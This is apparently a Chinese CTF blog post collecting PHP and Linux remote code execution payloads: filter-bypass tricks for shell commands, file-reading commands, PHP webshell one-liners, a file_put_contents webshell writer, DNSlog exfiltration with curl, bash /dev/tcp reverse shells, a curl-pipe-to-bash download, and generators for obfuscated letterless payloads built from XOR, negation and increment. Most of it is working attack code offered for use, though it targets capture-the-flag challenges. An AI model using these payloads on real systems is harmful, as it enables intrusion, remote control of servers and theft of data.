RCE大汇总

tiran Lv1

首先从最基础的linux命令cat /flag开始

image-20250623195307909

文件名被过滤怎么绕过

*通配符文件

在Linux中f*可以代表所有f开头的文件,所以我们可以用cat /f*获得flag

?匹配文件名

比如我们知道flag的名字就是flag,但是可能flag这个字符串被过滤了,我们就可以用?匹配被ban的字符,用cat /f???获得flag

当然,前面不加这个f可以吗如/????,也是可以的,就是容易被干扰,因为匹配任何四字符的文件

正则匹配

linux里可以用[a-l]这种形式匹配ascii码在9到q之间的字符,自然cat /[a-l][a-l][a-l][a-l]就等效于cat /flag了

ascii码中可视字符顺序如下

1
123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~

分割文件名

linux里,ca’’t、ca\t、ca””t和cat是等效的,/fl‘’ag、/fl\ag、/fl””ag和/flag是等效的,所以我们可以用这种方式绕过过滤

转进制

我们可以把flag转成各种进制。如八进制、十六进制,以八进制为例,变成$'\146\154\141\147',然后用cat /$'\146\154\141\147'即可

在php(Apache/2.4.62 (Ubuntu) PHP 8.3.11)中不用$符

利用管道符

1
echo "Y2F0IC9mKg==" | base64 -d|bash

如果对应环境有其他编码也可以换其他冷门点的编码

/被过滤

linux里echo ${PATH}可以获得当前路径

显然我们需要获取第一个字符

${PATH:0:1}第二个参数表示起始位置,第三个参数表示截取长度,所以可以构造出cat ${PATH:0:1}flag

当然不止PATH一个,我们可以查看环境变量(但是比赛都基本上启docker,没我那么多环境变量,但是像PWD,HOME,SHELL还是有的)

${PWD:0:1}、${HOME:0:1}、${SHELL:0:1}

或者还可以使用cd的方式,若flag在/flag/flag.txt

1
cd ..;cd ..;cd ..;cd root;cat flag.txt

空格过滤

1
2
3
4
{} //大括号,{cat,flag.php}
$IFS、$IFS$9、${IFS} 三兄弟都行
< //重定向字符 cat</flag
%09 //tab键URL编码

特殊变量

特殊变量 $1$9$a$z$@$* ,这些变量输出值为空 例如: c$9at /fl$9ag

变量拼接

cat /flag替换为:a=at;b=ag;c$a /fl$b

各种读取文件的方法

cat,tac,nl

最最常见的3钟,都不需要完整文件名

==cat==:用于连接文件并打印到标准输出设备上,用法为:

1
cat /f*

==tac==:用于将文件以行为单位的反序输出,用法为:

1
tac /f*

==nl==:可以为输出列加上编号,用法为:

1
nl /f*

more/bzmore

类似cat命令,会以一页一页的显示,方便使用者逐页阅读,用法为:

1
2
more /f*
bzmore /f*

不需要完整文件名

less/bzless

作用与more类似,都用来浏览文本文件中的内容,不同之处在于,使用 more 命令浏览文件内容时,只能不断向后翻看,而使用 less 命令浏览,既可以向后翻看,也可以向前看。用法为:

1
2
less /f*
bzless /f*

不需要完整文件名

head,tail

都不需要完整文件名

==head==:可用于查看文件的开头部分的内容,有一个常用的参数 -n 用于显示行数,默认为 10,即显示 10 行的内容。用法为:

1
head /f*

==tail==:作用和head相似,但它默认显示最后 10 行。用法为:

1
tail /f*

sed

Sed 代表流编辑器Stream Editor,常用于 Linux 中基本的文本处理.用法为:

1
sed p /f*

不需要完整文件名

sort

用于将文本文件内容加以排序。用法为:

1
sort /f*

不需要完整文件名

uniq

删除文件中的连续重复行 如果你在不使用任何参数的情况下使用 uniq 命令,它将删除所有连续的重复行,只显示唯一的行。用法为:

1
uniq /f*

不需要完整文件名

rev

反转一个或多个文件的行。用法为

1
rev /f*

不需要完整文件名,获得的是逆序的flag

当然,我们可以使用rev /f* | rev获得正序的flag:

od

od(Octal Dump)命令用于将指定文件内容以八进制、十进制、十六进制、浮点格式或 ASCII 编码字符方式显示,系统默认的显示方式是八进制。用法为:

1
od -c /f*

不需要完整文件名

你可能会奇怪中间那个0000020是啥,我们可以看到这个命令在linux里的运行结果:

左边一列其实是它的地址,记得把地址0000020删了就是文件内容了,当然直接f12也可以看到linux里那样的运行结果:

vim/vi

这俩都是Linux里的文件编辑器,我们在网页直接用system(“vim /f*”);虽然不会进入编辑模式但还是可以看到里面的内容。用法为:

1
2
vim /f* 
vi /f*

不需要完整文件名

man

man 命令是 Linux 下的帮助指令,通过 man 指令可以查看 Linux 中的指令帮助、配置文件帮助和编程帮助等信息,类似于vim/vi,直接对文本运行可以看到文本内容。用法为:

1
man /f*

不需要完整文件名

paste

使用paste命令可以将每个指定文件里的每一行整合到对应一行里写到标准输出,之间用制表符分隔。用法为:

1
paste /f*

不需要完整文件名

grep

查找文件里符合条件的字符串。用法为:

1
grep { /f*

不需要完整文件名

file

查看文件信息或类型。用法为:

1
file -f /f*

不需要完整文件名

dd

用于读取、转换并输出数据。用法为:

1
dd if=/flag

需要完整文件名

date

使用指定格式显示时间,或者设置系统时间,有时用于suid提权。用法为:

1
date -f /f*

不需要完整文件名。但他本质上是一种报错读取,直接system传值是没回显的,我们要读取报错才行:

1
a=$(date -f /f* 2>&1);echo $a;

报错读取

linux里可以用点号执行shell脚本,同样,我们也可以用这种方法报错读取文件内容,前提是你的用户组有读取文件的权限

1
a=$(. /f* 2>&1);echo $a;   #a%3D%24(.%20%2Ff*%202%3E%261)%3Becho%20%24a%3B

如果你的用户组有执行文件的权限(但是通常没有),你可以直接/f*获得文件内容:

1
a=$(/f* 2>&1);echo $a;  #a%3D%24(%2Ff*%202%3E%261)%3Becho%20%24a%3B

diff

用于比较文件的内容,我们可以把想读取的文件内容和一个已知的文件进行比较,获得差集也就是我们想要的内容了,如:

1
diff /f* /etc/passwd

不需要完整文件名

系统命令执行函数

system()

==作用==:同 C 版本的 system() 函数一样,本函数执行command 参数所指定的命令,==并且输出执行结果==。如果 PHP 运行在服务器模块中,system() 函数还会尝试在每行输出完毕之后,自动刷新 web 服务器的输出缓存。如果 PHP 运行在服务器模块中,system() 函数还会尝试在每行输出完毕之后,自动刷新 web 服务器的输出缓存。

==示例==:

1
<?php system($_POST["cmd"]);?>

passthru()

==作用==:执行外部程序**==并且显示原始输出==**。同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec()system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

==示例==:

1
<?php passthru($_POST["cmd"]);?>

exec()

==作用==:执行一个外部程序。exec() 执行 command 参数所指定的命令。返回命令执行结果的最后一行内容。(言外之意就是不显示,就算使用echo输出也是输出最后一行)

==示例==:

1
<?php echo exec($_POST["cmd"]);?>

shell_exec()

==作用==:通过 shell 执行命令并将完整的输出以字符串的方式返回(依旧不显示,需要echo输出)

==示例==:

1
<?php echo exec($_POST["cmd"]);?>

pcntl_exec()

==作用==:在当前进程空间执行指定程序。以给定参数执行程序。经常用于disable_functions绕过,后面单开文章

popen()

==作用==:打开进程文件指针。打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

==用法==

1
popen("ls > ./1.txt", "r");

反引号``

==作用==:PHP 支持一个执行运算符:反引号。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“`”的效果与函数shell_exec相同。

==用法==:

1
echo `ls`

代码执行函数

eval()

==作用==:把字符串作为PHP代码执行,把指定 code 作为 PHP 代码执行。正在执行的代码继承调用 eval() 所在行的变量作用域。该行中任何有效变量都可在执行的代码中读取和修改。但定义的所有函数和类都将在全局命名空间中定义。换句话说,编译器将执行的代码视为单独 included后的文件。代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留。

==注意==:eval是一个语言构造器而不是一个函数,不能被 可变函数调用。

1
2
3
4
eval($_POST[0]); #是可以的

$a = "eval";
$a($_POST[1]); #不行

assert()

==作用==:断言检测

==注意==:在 PHP 8.0.0 之前,如果 assertion 是 string,将解释为 PHP 代码,并通过 eval() 执行。这个字符串将作为第三个参数传递给回调函数。这种行为在 PHP 7.2.0 中弃用,并在 PHP 8.0.0 中移除

1
2
$a = "assert"
$a($_POST[1]);#在7之前可行,之后不行

call_user_func()

==作用==:把第一个参数作为回调函数调用,第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

==用法==:

1
2
call_user_func("assert",$_POST['cmd']);#在php7之前可以
call_user_func("system","ls");

create_function()

==作用==:通过执行代码字符串创建动态函数,从传递的参数中创建动态参数,并返回它的唯一名字。此函数在内部执行 eval()

==注意==:本函数已自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$func = create_function('',$_POST['cmd']);
$func();
?>
#传参cmd=system("id");

<?php
$a= $_POST['func'];
$b = create_function('$a',"echo $a");
$b('');
?>
//post:func=phpinfo();

array_map()

==作用==:为数组的每个元素应用回调函数。array_map() 返回一个 array,包含将 array 的相应值作为回调的参数顺序调用 callback 后的结果(如果提供了更多数组,还会利用 arrays 传入)。callback 函数形参的数量必须匹配 array_map() 实参中数组的数量。多余的实参数组将会被忽略。如果提供的实参数组的数量不足,将抛出 ArgumentCountError。

==用法==:、

1
2
3
4
5
6
7
8
<?php
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;
?>
#get:system post:id

preg_replace()

==作用==: 执行一个正则表达式的搜索和替换

==注意==:函数使用/e修饰符,则存在代码执行漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
preg_replace("/test/e",$_POST["cmd"],"jutst test");
?>

正经题目可能为如下

<?php
show_source(__FILE__);
if(isset($_GET['a'])&&isset($_GET['b'])&&isset($_GET['c'])){
echo "卧槽,没shell我怎么玩,frank1q22让你寒假多学习学习!!!";
echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); //这就是最后一关啦,事不过三
}
else
{
die("最后一关,你也不行啊老弟,再去修炼修炼!!");
}
//flag is in /flag

?a=/abc/e&b=system('cat /flag')&c=abc


function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
?>
playload:\S*=${$_POST[pass]}

post:
pass=system('cat /flag');

php函数直接读取文件

各种函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
printf(`l\s /`);//反引号包裹当系统命令执行
?><?=`l\s /`;

file_get_contents('flag.php')读取,

highlight_file('flag.php')读,

show_source('flag.php')读,

rename('flag.php','1.txt')重命名后读

var_dump(scandir('/')) 读取目录

?c=eval(array_pop(next(get_defined_vars())))
然后post传1=system("tac fla?.php");

php函数直接写shell

1
file_put_contents('2.php','<?php eval($_POST[1]);?>');

原生类读文件

在禁用了大量函数,选择用 PHP 原生类 SplFileObject 进行文件读取。

1
<?php $f=new SplFileObject('/etc/passwd'); while(!$f->eof())echo $f->fgets();

例题:DASCTF 2025上半年赛-web1 phpms

index.php

1
2
3
4
5
6
7
8
<?php
$shell = $_GET['shell'];
if(preg_match('/\x0a|\x0d/',$shell)){
echo ':(';
}else{
eval("#$shell");
}
?>

使用?><?php system("ls");发现被禁用了,且测试了许多函数发现都被禁用,使用使用?><?php $f=new SplFileObject('/etc/passwd'); while(!$f->eof())echo $f->fgets();

无回显绕过

shell_exec等无回显函数

使用写入文件绕过

1
ls |tee 1.txt //然后访问1.txt查看结果

DNSlog外带数据

利用网站平台:http://ceye.io/records/dns
利用curl发起http请求,或者ping时,网站解析DNS的过程中执行whoami(打个比方,此处为我们的payload)我们将在平台上看到whoami的执行结果

1
2
curl http://haha.xxx.ceye.io/`whoami`
ping `whoami`.xxxx.ceye.io

反弹shell

具体命令如下

1
2
bash -i >& /dev/tcp/47.xxx.xxx.xx/2333 0>&1
bash -c "bash -i >&/dev/tcp/47.xxx.xxx.xx/7777 0>&1"

攻击机开启本地监听:

1
nc -lvvp 2333

Curl配合Bash反弹shell

这里操作也很简单,借助了Linux中的管道。

首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:

1
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1

并开启2333端口的监听。

然后再目标机上执行如下,即可反弹shell:

1
curl 47.xxx.xxx.72|bash

Curl配合Bash反弹shell的方式在CTF题目中经常出现,curl IP|bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等。

>/dev/null 2>&1类无回显

用分隔符进行分割即可绕过

whoami&&lswhoami||ls拼接将后面ls输出到/dev/null而不影响前面命令

&%09|%7c

使用$_GET[]将恶意命令带出

1
2
3
4
?c=eval($_GET[1]);&1=phpinfo();
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
其他伪协议
data://text/plain,<?php system("mv fla* 1.txt")>然后读1.txt`

无数字字母

贴一个用于检查可用字符的脚本

1
2
3
4
5
6
<?php
for ($i=32;$i<127;$i++){
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/",chr($i))){
echo chr($i)." ";
}
}//用于检查可用字符,中间内容根据题目改

临时文件

我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母

一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。

(可以通过linux的匹配符去匹配) 我们多上传几次就可以达到shell的目的

文件上传会自动保留到/???/????????[@-[]

1
2
3
4
5
6
7
8
脚本
import requests
url = r'http://xxx.xxx/1.php?shell=?><?=. /???/????????[@-[]?>'
file = {
'file': 'cat flag.php'
}
response = requests.post(url, files=file)
print(response.text)

例题ctfshow中web55

异或,取反,自增,或绕过

异或

这里的异或,指的是php按位异或,在php中,两个字符进行异或操作后,得到的依然是一个字符,所以说当我们想得到a-z中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母即可。而在php中,两个字符进行异或时,会先将字符串转换成ascii码值,再将这个值转换成二进制,然后一位一位的进行按位异或,异或的规则是:1^1=0,1^0=1,0^1=1,0^0=0,简单的来说就是相同为零,不同为一

那假如说我们想要构造出小写字母a,按照上表,a的二进制为01100001,那我们就可以选择两个非字母数字的字符进行异或,这里有很多种选法,例如使用@!这两个,可以异或出字母a

1
2
3
4
5
6
7
8
9
a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'
拼接起来:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08'); // $_=assert
$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F'); // $__=_POST
$___=$$__; //$___=$_POST
$_($___[_]);//assert($_POST[_]);
放到一排就是:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);

取反

取反也是php中的一种运算符,取反的好处就是,它每一个字符取反之后都会变成另一个字符,不像异或需要两个字符才能构造出一个字符。

1
2
3
4
5
6
7
<?php 
$a = urlencode(~"system");
$b = urlencode(~"ls");
$wllm ="(~$a)(~$b)";
echo $wllm;
?>//取反

自增

在处理字符变量的算数运算时,PHP沿袭了Perl的习惯,而不是C语言的。在C语言中,它递增的是ASCII值,a = 'Z'; a++; 将把 a 变成 '[''Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91),而在Perl中, $a = 'Z'; $a++; 将把 $a 变成'AA'。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增或递减其他字符变量则无效,原字符串没有变化。

也就是说,只要我们获得了小写字母a,就可以通过自增获得所有小写字母,当我们获得大写字母A,就可以获得所有大写字母了

正好,数组(Array)中就正好有大写字母A和小写字母a,而在PHP中,如果强制连接数组和字符串的话,数组就会被强制转换成字符串,它的值就为Array,那取它的第一个子母,就拿到A了,那有了aA,相当于我们就可以拿到a-zA-Z中的所有字母了

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$a='';
$b=[];
print($a.$b);
?>
输出Array

//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入 _=phpinfo();

过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。

除这些之外我们还可以这样用${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo其中"%86%86%86%86^%d9%c1%c3%d2"为构造出的_GET,适合于过滤了引号的情况下使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import re

content = ''
preg = '[a-z]|[0-9]' # 题目过滤正则
# 生成字典
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i | j
if 32 <= k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
content += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('rce_or.txt', 'w')
f.write(content)

while True:
payload1 = ''
payload2 = ''
code = input("data:")
for i in code:
f = open('rce_or.txt')
lines = f.readlines()
for line in lines:
if i == line[0]:
payload1 = payload1 + line[2:5]
payload2 = payload2 + line[6:9]
break
payload = '("'+payload1+'"|"'+payload2+'")'
print("payload: "+ payload)
#或

==注意==:在php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,但是在php7中,我们可以使用($a)()这种方法来执行命令,那相当于我们对phpinfo取反后就可以直接执行了,也可以选择file_put_contents()来写入shell,在php5中这样是不行的

在php7中,因为可以使用($a)()这种方法来执行命令,所以说我们利用call_user_func()来举例,(call_user_func)(system,whoami,'')即可执行whoami的命令,取反后为(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,'');

php7中还可以利用file_put_contents()写入shellfile_put_contents('4.php','<?php eval(\$_POST[1]);');取反后(~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4));

极限字符rce

解析见CTFshow-RCE极限大挑战_ctfshow rce-CSDN博客

有现成脚本ProbiusOfficial/bashFuck: exec BashCommand with only ! # $ ‘ ( ) < \ { } just 10 charset used in Bypass or CTF

在线网站BashFuck Payload Generator

无参数rce

相关函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元

array_reverse():将数组内容反转

strrev():用于反转给定字符串

getcwd():获取当前工作目录路径

dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

eval()、assert():命令执行

读文件
show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件

目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。

方法一scandir() 最常规的通解

方法二:session_id()

使用条件:当请求头中有cookie时(或者走投无路手动添加cookie头也行,有些CTF题不会卡)

首先我们需要开启session_start()来保证session_id()的使用,session_id可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西,但是phpsession不允许()出现

法一hex2bin()

我们自己手动对命令进行十六进制编码,后面在用函数hex2bin()解码转回去,使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值

以下是十六进制编码脚本:

1
2
3
4
<?php
$encoded = bin2hex("phpinfo();");
echo $encoded;
?>

得到phpinfo();的十六进制编码,即706870696e666f28293b

那么payload就可以是:

?参数=eval(hex2bin(session_id(session_start())));
同时更改cookie后的值为想执行的命令的十六进制编码

法二读文件

例题依然是[GXYCTF2019]禁止套娃,在知道文件名为flag.php的情况下直接读文件

如果已知文件名,把文件名写在PHPSESSID后面,构造payload为:

1
readfile(session_id(session_start()));
1
highlight_file(next(array_reverse(scandir(pos(localeconv())))));

也是不含get的

方法三:getallheaders()

getallheaders()返回当前请求的所有请求头信息,局限于Apache(apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache)

当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头,使其执行,payload:

1
var_dump(end(getallheaders()));

sky是自己添加的请求头, end()指向最后一行的sky后的代码,达到phpinfo的目的,然后可以进一步去rce。

方法四:get_defined_vars()

相较于getallheaders()更加具有普遍性,它可以回显全局变量$_GET、$_POST、$_FILES、$_COOKIE

返回数组顺序为$_GET-->$_POST-->$_COOKIE-->$_FILES

首先确认是否有回显:

print_r(get_defined_vars());
假如说原本只有一个参数a,那么可以多加一个参数b,后面写入恶意语句,payload:

1
a=eval(end(current(get_defined_vars())));&b=system('ls /');

eval换成assert也行 ,能执行system('ls /')就行

缓冲区替换

在命令后exit();退出不执行后面代码

利用数学函数进行RCE

常用函数

1
base_convert(number,frombase,tobase)

在任意进制之间转换数字。

1
dechex(dec_number)

把十进制转换为十六进制。返回一个字符串,包含有给定 binary_string 参数的十六进制表示。所能转换的最大数值为十进制的 4294967295,其结果为 “ffffffff”。

1
hexdec(hex_string)

把十六进制转换为十进制。返回与 hex_string 参数所表示的十六进制数等值的的十进制数。

十六进制的字母范围只有 a-f ,显然是不符合我们构造的要求,而三十六进制字母范围正好为 a-z 。

base_convert 正好能在任意进制转换数字,这样我们传入十进制的数字,使其转换为三十六进制时,返回的字符串是我们想要的 cat 等命令就行了。

1
2
echo base_convert("cat",36,10);
//15941

但这里,虽然可以构造纯字母字符串了,但进制转换显然不能返回 . / * 等特殊字符,而这就需要用到另一类运算函数。

比如我们要构造 system('cat *')

那么我们需要返回 空格* 这样的函数,而 php 中函数名默认为字符串,可以进行异或。

贴个脚本

1
2
3
4
5
6
7
8
9
10
11
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}

想要详细了解可以看看php利用math函数rce总结[CISCN 2019 初赛]Love Math的WP

disable_functions绕过

emm,另写文章有点多了

  • 标题: RCE大汇总
  • 作者: tiran
  • 创建于 : 2025-06-25 16:55:30
  • 更新于 : 2025-06-30 23:46:17
  • 链接: https://tiran.cc/2025/06/25/RCE大汇总/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。